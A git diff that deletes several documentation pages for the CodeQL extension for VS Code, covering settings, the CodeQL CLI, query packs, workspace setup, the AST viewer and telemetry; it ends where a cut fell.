variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode %}.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /accessing-logs - - /warning-problem-with-controller-repository -redirect_from: - - /code-security/codeql-for-vs-code/troubleshooting-codeql-for-visual-studio-code ---- diff --git a/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/warning-problem-with-controller-repository.md b/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/warning-problem-with-controller-repository.md deleted file mode 100644 index 523498eed35a..000000000000 --- a/content/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/warning-problem-with-controller-repository.md +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: 'Problem with controller repository' -versions: - feature: codeql-vs-code-mrva -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'If you see this warning, update your controller repository to a private repository.' -allowTitleToDifferFromFilename: true -redirect_from: - - /code-security/codeql-for-vs-code/troubleshooting-variant-analysis ---- - -## About this warning - -```text -Publicly visible controller repository can't be used to analyze private repositories. NUMBER private repositories were not analyzed. -``` - -If you run variant analysis on a custom list of repositories, you may receive this warning as a banner in {% data variables.product.prodname_vscode %}, where NUMBER is the number of private repositories that have not been analyzed. - -## Confirming the cause of the problem - -When you run variant analysis, you'll see any errors and warnings displayed in the "Variant Analysis Results" view. - -## Fixing the problem - -To analyze private repositories, you should edit your settings to update your controller repository to a private repository. For information on how to edit the controller repository, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings#configuring-settings-for-variant-analysis). diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/configuring-access-to-the-codeql-cli.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/configuring-access-to-the-codeql-cli.md deleted file mode 100644 index e8e2f97c566a..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/configuring-access-to-the-codeql-cli.md +++ /dev/null @@ -1,31 +0,0 @@ ---- -title: Configuring access to the CodeQL CLI -shortTitle: CodeQL CLI access -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'The {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension uses the {% data variables.product.prodname_codeql_cli %} to compile and run queries.' -allowTitleToDifferFromFilename: true ---- - -## Configuring access to the {% data variables.product.prodname_codeql_cli %} - -If you already have the {% data variables.product.prodname_codeql_cli %} installed and added to your `PATH`, the extension will use that version. This might be the case if you create your own {% data variables.product.prodname_codeql %} databases instead of downloading them from {% data variables.product.github %}. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis). - -Otherwise, the extension automatically manages access to the executable of the {% data variables.product.prodname_codeql_cli %} for you. This ensures that the {% data variables.product.prodname_codeql_cli %} is compatible with the {% data variables.product.prodname_codeql %} extension. You can also check for updates with the **{% data variables.product.prodname_codeql %}: Check for CLI Updates** command from the {% data variables.product.prodname_vscode_command_palette_shortname %}. - -> [!NOTE] -> * The extension-managed {% data variables.product.prodname_codeql_cli %} is not accessible from the terminal. If you intend to use the CLI outside of the extension (for example to create databases), we recommend that you install your own copy of the {% data variables.product.prodname_codeql_cli %}." -> * To override the default behavior and use a specific version of the {% data variables.product.prodname_codeql_cli %}, you can specify the {% data variables.product.prodname_codeql_cli %} **Executable Path** in the extension settings. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings). - -## Troubleshooting - -If you have any difficulty setting up access to the {% data variables.product.prodname_codeql_cli %}, check the {% data variables.product.prodname_codeql %} Extension log for error messages or to see the location of the {% data variables.product.prodname_codeql_cli %} being used. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/troubleshooting-codeql-for-vs-code/accessing-logs). In particular, in the Extension log you can see the location of the {% data variables.product.prodname_codeql_cli %} that is being used. This is useful if you want to see whether this is an extension-managed CLI or an external one. - -If you use the extension-managed {% data variables.product.prodname_codeql_cli %}, the extension checks for updates automatically (or with the **{% data variables.product.prodname_codeql %}: Check for CLI Updates** command) and prompts you to accept the updated version. If you use an external CLI, you need to update it manually (when updates are necessary). diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/creating-a-custom-query.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/creating-a-custom-query.md deleted file mode 100644 index 1aaae688a008..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/creating-a-custom-query.md +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Creating a custom query -shortTitle: Custom query creation -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can work from a template to write your own code to create a custom query to analyze a specific language.' ---- - -## About custom queries - -> [!NOTE] -> Creating a custom query is optional, and the [`github/codeql`](https://github.com/github/codeql) repository contains a large number of example queries you can use instead. - -You create a new query file from a template for a given language, which imports the standard libraries for analyzing that language. For more information, see [About {% data variables.product.prodname_codeql %} queries](https://codeql.github.com/docs/writing-codeql-queries/about-codeql-queries/) in the {% data variables.product.prodname_codeql %} documentation. - -## Creating a custom query - -1. In the extension sidebar, open the "Queries" view, then click the **Create query** icon. - -1. In the {% data variables.product.prodname_vscode_command_palette_shortname %}, select the target language for your query. If you've chosen not to create your custom query in an existing directory, selecting a language will autogenerate a directory labeled `codeql-custom-queries-LANGUAGE`, where `LANGUAGE` is the name of the selected language. A query template labeled `example.ql` will then be added to the existing or autogenerated directory. - -1. In the template, write your custom query, then save the file. Once your query is finished, you can run it from the "Queries" view. - -## Further reading - -You can read about how to create queries for supported languages in the {% data variables.product.prodname_codeql %} documentation: - -* [{% data variables.product.prodname_codeql %} for C and C++](https://codeql.github.com/docs/codeql-language-guides/codeql-for-cpp/) -* [{% data variables.product.prodname_codeql %} for C#](https://codeql.github.com/docs/codeql-language-guides/codeql-for-csharp/) -* [{% data variables.product.prodname_codeql %} for Go](https://codeql.github.com/docs/codeql-language-guides/codeql-for-go/) -* [{% data variables.product.prodname_codeql %} for Java and Kotlin](https://codeql.github.com/docs/codeql-language-guides/codeql-for-java/) -* [{% data variables.product.prodname_codeql %} for JavaScript and TypeScript](https://codeql.github.com/docs/codeql-language-guides/codeql-for-javascript/) -* [{% data variables.product.prodname_codeql %} for Python](https://codeql.github.com/docs/codeql-language-guides/codeql-for-python/) -* [{% data variables.product.prodname_codeql %} for Ruby](https://codeql.github.com/docs/codeql-language-guides/codeql-for-ruby/) -* [{% data variables.product.prodname_codeql %} for Swift](https://codeql.github.com/docs/codeql-language-guides/codeql-for-swift/) diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings.md deleted file mode 100644 index 36e5bc90491b..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings.md +++ /dev/null @@ -1,162 +0,0 @@ ---- -title: Customizing settings -shortTitle: Customize settings -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can edit the settings for the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension to suit your needs.' -redirect_from: - - /code-security/codeql-for-vs-code/customizing-settings ---- - -## About settings in the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension - -You can change numerous settings for the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension, including: - -* Which version of the {% data variables.product.prodname_codeql_cli %} the extension uses. -* How the extension displays previous queries. -* How the extension runs queries. - -## Editing settings for the {% data variables.product.prodname_codeql %} extension - -1. Open the "Extensions" view and right-click **{% data variables.product.prodname_codeql %}**, then click **Extension Settings**. - - ![Screenshot of the "Extensions" view, with the right-click menu displayed and "Extension Settings" outlined in dark orange.](/assets/images/help/security/codeql-for-vs-code-extensions-view.png) - -1. In the Settings window, edit settings as desired. The new settings are saved automatically. - - ![Screenshot of the CodeQL for VS Code Extension Settings window displayed inside VS Code.](/assets/images/help/security/codeql-for-vs-code-extension-settings.png) - -> [!TIP] -> Alternatively, you can edit the settings in JSON format by opening the {% data variables.product.prodname_vscode_command_palette_shortname %} and selecting **Preferences: Open User Settings (JSON)**. - -### Choosing a version of the {% data variables.product.prodname_codeql_cli %} - -To override the default behavior and use a specific version of the {% data variables.product.prodname_codeql_cli %}, you can specify the {% data variables.product.prodname_codeql_cli %} "Executable Path" in the extension settings, and point it to your existing copy of the {% data variables.product.prodname_codeql_cli %}. That is, the file named `codeql` (Linux and macOS), or `codeql.exe` (Windows). For more information about the default behavior, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/configuring-access-to-the-codeql-cli). - -### Changing the labels of query history items - -The query history "Format" setting controls how the extension lists queries in the query history. By default, each item has a label with the following format: - -```bash -QUERY-NAME on DATABASE-NAME - QUERY-STATUS NUMBER-OF-RESULTS [QUERY-RUNTIME] -``` - -To override the default label, you can specify a different format for the query history items. - -### Changing the retention period for query history items - -By default, items in the "Query History" view are retained for 30 days. You can set a different time to live (TTL) by changing the "Query History: Ttl" setting. To retain items indefinitely, set the value to 0. - -### Configuring settings for running queries locally - -There are a number of settings under "Running Queries". For example, if your queries run too slowly and time out frequently, you may want to increase the memory by changing the "Running Queries: Memory" setting. - -If you want to examine query performance, enable the "Running Queries: Debug" setting to include timing and tuple counts. This will then be shown in the logs in the {% data variables.product.prodname_codeql %} "Query Server" tab of the "Output" view. The tuple count is useful because it indicates the size of the [predicates](https://codeql.github.com/docs/ql-language-reference/predicates/#predicates) computed by the query. - -To save query server logs in a custom location, edit the "Running Queries: Custom Log Directory" setting. If you use a custom log directory, the extension saves the logs permanently, instead of deleting them automatically after each workspace session. This is useful if you want to investigate these logs to improve the performance of your queries. - -### Configuring settings for variant analysis - -{% ifversion codeql-vs-code-mrva %} - -There are a number of settings under "Variant Analysis" that you can use to define or edit lists of {% data variables.product.company_short %} repositories for variant analysis, and change to a different controller repository. For information on the purpose and requirements for a controller repository, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries-at-scale-with-multi-repository-variant-analysis). - -{% endif %} - -You can also edit the items shown in the "Variant Analysis Repositories" view by editing a file in your {% data variables.product.prodname_vscode %} workspace called `databases.json`. This file contains a JSON representation of all the items displayed in the view. To open your `databases.json` file in an editor window, click the **{ }** icon in the top right of the "Variant Analysis Repositories" view. You can then see a structured representation of the repositories, organizations and lists in your view. For example: - -```json -{ - "version": 1, - "databases": { - "variantAnalysis": { - "repositoryLists": [ - { - "name": "My favorite JavaScript repos", - "repositories": [ - "facebook/react", - "babel/babel", - "angular/angular" - ] - } - ], - "owners": [ - "microsoft" - ], - "repositories": [ - "apache/hadoop" - ] - } - }, - "selected": { - "kind": "variantAnalysisSystemDefinedList", - "listName": "top_10" - } -} -``` - -You can change the items shown in the view or add new items by directly editing this file. - -### Configuring settings for adding databases - -To automatically add database source folders to your workspace, you can enable the "Adding Databases: Add Database Source to Workspace" setting. - -This setting is disabled by default. You may want to enable the setting if you regularly browse the source code of databases (for example, to view the abstract syntax tree of the code). For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/exploring-the-structure-of-your-source-code). - -> [!NOTE] -> If you are in a single-folder workspace, adding database source folders will cause the workspace to reload as a multi-root workspace. This may cause query history and database lists to reset. -> -> Before enabling this setting, we recommend that you save your workspace as a multi-root workspace. For more information, see [Multi-root Workspaces](https://code.visualstudio.com/docs/editor/multi-root-workspaces) in the {% data variables.product.prodname_vscode %} documentation. - -### Configuring settings for testing queries locally - -To increase the number of threads used for testing queries, you can update the "Running Tests: Number Of Threads" setting. - -To pass additional arguments to the {% data variables.product.prodname_codeql_cli %} when running tests, you can update the "Running Tests: Additional Test Arguments" setting. For more information about the available arguments, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-manual/test-run/). - -### Configuring settings for telemetry and data collection - -You can configure whether the {% data variables.product.prodname_codeql %} extension collects telemetry data. This is disabled by default. For more information, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/telemetry-in-codeql-for-visual-studio-code). - -{% ifversion ghec %} - -## Changing the {% data variables.product.github %} URL used by the extension - -By default, the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension is configured to analyze repositories hosted on {% data variables.product.prodname_dotcom_the_website %}. If you use {% data variables.enterprise.data_residency %}, you can specify the URL of your site using the "{% data variables.product.github %} Enterprise URI" setting. - -### Specifying the {% data variables.product.github %} URL in your settings - -1. Open the "Extensions" view and right-click **{% data variables.product.prodname_codeql %}**, then click **Extension Settings**. - -1. In the "Settings" window, scroll down until you find the {% data variables.product.github %} Authentication settings and enter the URL of your {% data variables.enterprise.data_residency %}. The new settings are saved automatically. - - ![Screenshot of the "Extensions" settings for "{% data variables.product.github %} Authentication" the URI field is outlined in dark orange.](/assets/images/help/security/codeql-for-vs-code-set-ghe-uri.png) - -Alternatively, you can define the URL in the JSON file where your settings for {% data variables.product.prodname_codeql %} are stored. - -```json - "github-enterprise.uri": "{% data variables.enterprise.data_residency_domain %}", -``` - -### When the extension uses the {% data variables.product.github %} URL you set - -When {% data variables.product.github %} Enterprise URI (`github-enterprise.uri`) is defined, the extension uses this URL in: - -* Requests to download databases from {% data variables.product.github %} -* Creating a list of repositories for variant analysis - -> [!NOTE] -> {% data variables.enterprise.data_residency %} requires authentication to see all repositories, so you will need to authenticate before you can download or analyze data. In addition, you will not see any "Top XX repositories" lists for variant analysis, see [AUTOTITLE](/code-security/codeql-for-vs-code/getting-started-with-codeql-for-vs-code/running-codeql-queries-at-scale-with-multi-repository-variant-analysis). - -{% endif %} - -## Further reading - -* [User and Workspace Settings](https://code.visualstudio.com/docs/getstarted/settings) in the {% data variables.product.prodname_vscode %} documentation diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/exploring-the-structure-of-your-source-code.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/exploring-the-structure-of-your-source-code.md deleted file mode 100644 index 178f46e84a33..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/exploring-the-structure-of-your-source-code.md +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: Exploring the structure of your source code -shortTitle: Explore code structure -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can use the AST viewer to display the abstract syntax tree of a {% data variables.product.prodname_codeql %} database.' -redirect_from: - - /code-security/codeql-for-vs-code/exploring-the-structure-of-your-source-code ---- - -## About the abstract syntax tree - -The abstract syntax tree (AST) of a program represents the program's syntactic structure. Nodes on the AST represent elements such as statements and expressions. A {% data variables.product.prodname_codeql %} database encodes these program elements and the relationships between them through a database schema. For more information about database schemas, see [{% data variables.product.prodname_codeql %} glossary](https://codeql.github.com/docs/codeql-overview/codeql-glossary/#ql-database-schema) in the {% data variables.product.prodname_codeql %} documentation. - -{% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} contains an AST viewer. The viewer consists of a graph visualization view that lets you explore the AST of a file in a {% data variables.product.prodname_codeql %} database. This helps you see which {% data variables.product.prodname_codeql %} classes correspond to which parts of your source files. - -## Viewing the abstract syntax tree of a source file - -> [!NOTE] -> If you don't have an appropriate query (usually `printAST.ql`) in your workspace, the **{% data variables.product.prodname_codeql %}: View AST** command in the following steps won't work. To fix this, you can update your copy of the [`github/codeql`](https://github.com/github/codeql) repository from the `main` branch. If you do this, query caches may be discarded, so your next query runs may be slower. - -1. Open the "Databases" view in the extension, and right-click the database that you want to explore. Click **Add Database Source to Workspace**. - -1. Navigate to a {% data variables.product.prodname_codeql %} database's source file in the File Explorer. - -1. Run **{% data variables.product.prodname_codeql %}: View AST** from the {% data variables.product.prodname_vscode_command_palette_shortname %}. This runs a {% data variables.product.prodname_codeql %} query (usually called `printAST.ql`) over the active file, which may take a few seconds. Once the query is complete, the AST viewer will display the structure of the source file. - -1. To see the nested structure of the source file, click the arrows and expand the nodes. - -You can click a node in the AST viewer to jump to it in the source code. Conversely, if you click a section of the source code, the AST viewer displays the corresponding node. diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/index.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/index.md deleted file mode 100644 index 83b89930ee8c..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/index.md +++ /dev/null @@ -1,24 +0,0 @@ ---- -title: Using the advanced functionality of the {% data variables.product.prodname_codeql %} for VS Code extension -shortTitle: Advanced functionality -intro: 'The {% data variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode %} adds rich language support for {% data variables.product.prodname_codeql %} and supports writing queries to find problems in codebases.' -product: '{% data reusables.gated-features.codeql %}' -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - Code Security - - Code scanning - - CodeQL -children: - - /using-the-codeql-model-editor - - /creating-a-custom-query - - /managing-codeql-packs - - /exploring-the-structure-of-your-source-code - - /testing-codeql-queries-in-vs-code - - /customizing-settings - - /setting-up-a-codeql-workspace - - /configuring-access-to-the-codeql-cli - - /telemetry-in-codeql-for-visual-studio-code ---- diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/managing-codeql-packs.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/managing-codeql-packs.md deleted file mode 100644 index 911defcbc970..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/managing-codeql-packs.md +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: Managing CodeQL query packs and library packs -shortTitle: Manage CodeQL packs -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can view, write, and edit {% data variables.product.prodname_codeql %} query and library packs in {% data variables.product.prodname_vscode %} using the {% data variables.product.prodname_codeql %} extension.' -allowTitleToDifferFromFilename: true -redirect_from: - - /code-security/codeql-for-vs-code/working-with-codeql-packs-in-visual-studio-code ---- - -## Benefits of using the {% data variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode %} to work with packs - -With the {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} extension, you can: - -* Write {% data variables.product.prodname_codeql %} query packs without needing to check out the standard libraries in your workspace. - -* Install dependencies for {% data variables.product.prodname_codeql %} query packs inside your {% data variables.product.prodname_vscode_shortname %} workspace. - -* Download {% data variables.product.prodname_codeql %} query packs. - -* View a {% data variables.product.prodname_codeql %} query pack and all of its dependencies. - -For more information about creating and editing {% data variables.product.prodname_codeql %} query and library packs, see [AUTOTITLE](/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs). - -## Installing dependencies for {% data variables.product.prodname_codeql %} query packs - -1. In {% data variables.product.prodname_vscode_shortname %}, open the {% data variables.product.prodname_vscode_command_palette_shortname %} and run **{% data variables.product.prodname_codeql %}: Install Pack Dependencies**. - -1. Select the packs that you want to install dependencies for. - -## Downloading {% data variables.product.prodname_codeql %} query packs - -1. In {% data variables.product.prodname_vscode_shortname %}, open the {% data variables.product.prodname_vscode_command_palette_shortname %} and run **{% data variables.product.prodname_codeql %}: Download Packs**. - -1. You can download all the core query packs, or enter the full name of a specific pack to download. You can download query packs created by other users. - -## Viewing a {% data variables.product.prodname_codeql %} query pack and its dependencies - -1. In {% data variables.product.prodname_vscode_shortname %}, open the `qlpack.yml` file in the root of any {% data variables.product.prodname_codeql %} pack directory. - -1. In the `dependencies` section of the `qlpack.yml` file, you'll see what libraries the pack depends on. - -1. Optionally, you can use {% data variables.product.prodname_vscode_shortname %}'s Intellisense features. For example, if you hover over an element from a library depended on by the pack, {% data variables.product.prodname_vscode %} will resolve it so you can see documentation about the element. - -1. To view the full definition of an element of a query, you can right-click and select **Go to Definition**. - - * If the library pack is present within the same {% data variables.product.prodname_vscode %} workspace, this will take you to the definition within the workspace. - - * Otherwise, you will see the definition stored in your package cache, where downloaded dependencies are saved. The package cache is a shared location that is stored in your home directory by default. - -## Working with {% data variables.product.prodname_codeql %} model packs - -{% data reusables.code-scanning.beta-model-packs %} - -{% data variables.product.prodname_codeql %} model packs can be used to expand {% data variables.product.prodname_code_scanning %} analysis to include dependencies that are not supported by default. The {% data variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode %} includes a dedicated editor for creating and editing model packs. For information on using the model editor, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/using-the-codeql-model-editor). diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/setting-up-a-codeql-workspace.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/setting-up-a-codeql-workspace.md deleted file mode 100644 index 7577fb098fd9..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/setting-up-a-codeql-workspace.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Setting up a CodeQL workspace -shortTitle: CodeQL workspace setup -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'When you''re working with {% data variables.product.prodname_codeql %}, you need access to the standard libraries and queries.' -allowTitleToDifferFromFilename: true ---- - -## Setting up a {% data variables.product.prodname_codeql %} workspace - -There are several different ways to give the extension access to the standard libraries and queries from the [`github/codeql`](https://github.com/github/codeql) repository: - -* Use the {% data variables.product.prodname_codeql %} starter workspace, which contains a series of directories named in the format `codeql-custom-queries-LANGUAGE`. These are ready for you to start developing your own custom queries for each language, using the standard libraries. There are also some example queries to get you started. This is the recommended method. - -* Update an existing workspace for {% data variables.product.prodname_codeql %}. This is recommended for advanced users. - -* {% data variables.product.prodname_codeql_cli %} users can open the directory containing their extracted {% data variables.product.prodname_codeql_cli %} archive. - -### Option 1: Using the starter workspace (recommended) - -> [!NOTE] -> The {% data variables.product.prodname_codeql %} repository is included as a submodule in the starter workspace. You should use `git submodule update --remote` regularly to keep the submodules up to date, and ensure that they remain compatible with newer versions of the {% data variables.product.prodname_vscode_shortname %} extension and the {% data variables.product.prodname_codeql_cli %}. - -1. Clone the [vscode-codeql-starter repository](https://github.com/github/vscode-codeql-starter/) to your computer. Make sure you include the submodules, either by using `git clone --recursive`, or by using `git submodule update --init --remote` after cloning. - -1. In {% data variables.product.prodname_vscode_shortname %}, click **File** then **Open Workspace from File...** to open the `vscode-codeql-starter.code-workspace` file from your checkout of the workspace repository. - -### Option 2: Updating an existing workspace for {% data variables.product.prodname_codeql %} (advanced) - -1. In {% data variables.product.prodname_vscode_shortname %}, select **File** then **Add Folder to Workspace...**, and find your local checkout of the [{% data variables.product.prodname_codeql %} repository](https://github.com/github/codeql). - -1. Create one new directory per target language to hold custom queries and libraries, using either the **New Folder** or **Add Folder to Workspace...** options. - -1. Create a `qlpack.yml` file in each target language directory (the `main` branch of `github/codeql` already has these files). This tells the {% data variables.product.prodname_codeql_cli %} the target language for that directory and what its dependencies are. {% data variables.product.prodname_codeql %} will look for the dependencies in all the open workspace directories, or on the user's search path. - - For example, to make a custom {% data variables.product.prodname_codeql %} directory called `my-custom-cpp-pack` depend on the {% data variables.product.prodname_codeql %} standard library for C++, create a `qlpack.yml` file with the following contents: - - ```yaml - name: my-custom-cpp-pack - version: 0.0.0 - libraryPathDependencies: codeql/cpp-all - ``` - - For more information about why you need to add a `qlpack.yml` file, see [AUTOTITLE](/code-security/codeql-cli/codeql-cli-reference/about-codeql-packs). - -### Option 3: Open the directory containing the extracted {% data variables.product.prodname_codeql_cli %} archive - -> [!NOTE] -> For this option, you need to set up the {% data variables.product.prodname_codeql_cli %}. For more information, see [AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli). - -In {% data variables.product.prodname_vscode_shortname %}, open the directory where you extracted the {% data variables.product.prodname_codeql_cli %} .zip archive to create a {% data variables.product.prodname_codeql %} directory (for example `codeql-home`). diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/telemetry-in-codeql-for-visual-studio-code.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/telemetry-in-codeql-for-visual-studio-code.md deleted file mode 100644 index 542db867311d..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/telemetry-in-codeql-for-visual-studio-code.md +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Telemetry in CodeQL for Visual Studio Code -shortTitle: Telemetry -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -allowTitleToDifferFromFilename: true -intro: 'If {% data variables.product.prodname_vscode_shortname %} telemetry is enabled, {% data variables.product.company_short %} will collect usage data and metrics for the purposes of helping the core developers to improve the {% data variables.product.prodname_codeql %} extension for {% data variables.product.prodname_vscode_shortname %}.' -redirect_from: - - /code-security/codeql-for-vs-code/about-telemetry-in-codeql-for-visual-studio-code ---- - -This data will not be shared with any parties outside of {% data variables.product.company_short %}. IP addresses and installation IDs will be retained for a maximum of 30 days. Anonymous data will be retained for a maximum of 180 days. - -> [!NOTE] -> Telemetry collection in {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode %} follows the {% data variables.product.prodname_vscode_shortname %} telemetry settings. When telemetry collection is disabled, no data will be sent to {% data variables.product.company_short %} servers. - -## Why we collect data - -{% data variables.product.company_short %} collects aggregated, anonymous usage data and metrics to help us improve {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode_shortname %}. IP addresses and installation IDs are collected only to ensure that anonymous data is not duplicated during aggregation. - -## What data is collected - -If telemetry is enabled, {% data variables.product.company_short %} collects the following information related to the usage of the extension. The data collected are: - -* The identifiers of any {% data variables.product.prodname_codeql %}-related {% data variables.product.prodname_vscode_shortname %} commands that are run. For each command, these are: the timestamp, time taken, and whether or not the command completed successfully. - -* Interactions with UI elements, including buttons, links, and other inputs. Interacts that are not recorded are: link targets, text inputs, mouse movement, and mouse hovering. - -* Occurrence of exceptions and errors. All sensitive information such as file paths and non-static exception message content are removed before uploading. - -* The {% data variables.product.prodname_vscode_shortname %} extension version. - -* Randomly generated GUID that uniquely identifies a {% data variables.product.prodname_codeql %} extension installation. This is discarded before aggregation. - -* IP address of the client sending the telemetry data. This is discarded before aggregation. - -* Whether any {% data variables.product.prodname_codeql %} for {% data variables.product.prodname_vscode_shortname %} extension settings are configured. For more information about customizing settings, see [AUTOTITLE](/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/customizing-settings). - -## How long data is retained - -IP addresses and GUIDs will be retained for a maximum of 30 days. Anonymous, aggregated data that includes command identifiers, run times, and timestamps will be retained for a maximum of 180 days. - -## Access to the data - -IP addresses and GUIDs will only be available to the core developers of {% data variables.product.prodname_codeql %}. Aggregated data will be available to {% data variables.product.company_short %} employees. - -## What data is not collected - -We only collect the minimal amount of data we need to answer the questions about how our users are experiencing this product. To that end, we do not collect the following information: - -* {% data variables.product.company_short %} user ID - -* {% data variables.product.prodname_codeql %} database names or contents - -* Contents of {% data variables.product.prodname_codeql %} queries - -* File system paths - -* User-input text - -* Mouse interactions, such as movement or hovers - -## Disabling telemetry reporting - -You can disable telemetry collection by setting the global `telemetry.telemetryLevel` setting to `off`. For more information, see the [Visual Studio Code Telemetry page](https://code.visualstudio.com/docs/getstarted/telemetry) in the {% data variables.product.prodname_vscode %} documentation. - -## Further reading - -* [AUTOTITLE](/free-pro-team@latest/site-policy/privacy-policies/github-general-privacy-statement) -* [AUTOTITLE](/free-pro-team@latest/site-policy/github-terms/github-terms-of-service) diff --git a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/testing-codeql-queries-in-vs-code.md b/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/testing-codeql-queries-in-vs-code.md deleted file mode 100644 index aca4591a9afc..000000000000 --- a/content/code-security/codeql-for-vs-code/using-the-advanced-functionality-of-the-codeql-for-vs-code-extension/testing-codeql-queries-in-vs-code.md +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: Testing CodeQL queries in Visual Studio Code -shortTitle: Test CodeQL queries -versions: - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -intro: 'You can run unit tests for {% data variables.product.prodname_codeql %} queries using the {% data variables.product.prodname_vscode %} extension.' -allowTitleToDifferFromFilename: true -redirect_from: - - /code-security/codeql-for-vs-code/testing-codeql-queries-in-visual-studio-code ---- - -## About testing queries in {% data 